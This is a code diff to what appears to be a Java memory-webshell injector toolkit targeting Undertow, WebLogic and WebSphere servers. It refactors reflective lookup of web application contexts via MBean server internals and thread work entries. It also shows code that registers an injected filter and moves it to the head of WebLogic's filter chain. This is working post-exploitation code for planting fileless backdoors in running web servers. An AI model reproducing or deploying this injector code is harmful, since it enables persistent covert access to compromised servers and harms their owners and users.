import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -44,7 +41,7 @@ public class UndertowServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -213,30 +210,25 @@ public class UndertowServletInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -1,13 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +44,7 @@ public class WebLogicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,93 +79,38 @@ public class WebLogicFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
|
||||||
theOneMethod.setAccessible(true);
|
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* weblogic.servlet.internal.WebAppServletContext
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
*/
|
*/
|
||||||
public static Set<Object> getContext() {
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
try {
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
} catch (Throwable ignored) {
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
|
String key = entry.getKey();
|
||||||
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
@@ -193,20 +142,14 @@ public class WebLogicFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
|
|
||||||
for (Object obj : filters.keySet()) {
|
|
||||||
if (obj.toString().contains(getClassName())) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
|
||||||
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
return;
|
||||||
cachedClasses.put(getClassName(), filter.getClass());
|
}
|
||||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
|
||||||
filterPatternList.add(0, currentMapping);
|
filterPatternList.add(0, curFilterInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -248,30 +191,25 @@ public class WebLogicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -1,15 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -40,7 +41,7 @@ public class WebLogicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,88 +76,39 @@ public class WebLogicListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
|
*/
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
theOneMethod.setAccessible(true);
|
String key = entry.getKey();
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
Object value = entry.getValue();
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Set<Object> getContext() {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
@@ -1,15 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import javax.servlet.Servlet;
|
import javax.servlet.Servlet;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -45,7 +45,7 @@ public class WebLogicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -80,88 +80,39 @@ public class WebLogicServletInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
|
*/
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
theOneMethod.setAccessible(true);
|
String key = entry.getKey();
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
Object value = entry.getValue();
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Set<Object> getContext() {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.websphere;
|
package com.reajason.javaweb.memshell.injector.websphere;
|
||||||
|
|
||||||
import javax.servlet.Filter;
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -9,14 +8,12 @@ import java.lang.reflect.Constructor;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* tested v7、v8
|
|
||||||
* update 2023/07/08
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class WebSphereFilterInjector {
|
public class WebSphereFilterInjector {
|
||||||
@@ -46,7 +43,7 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
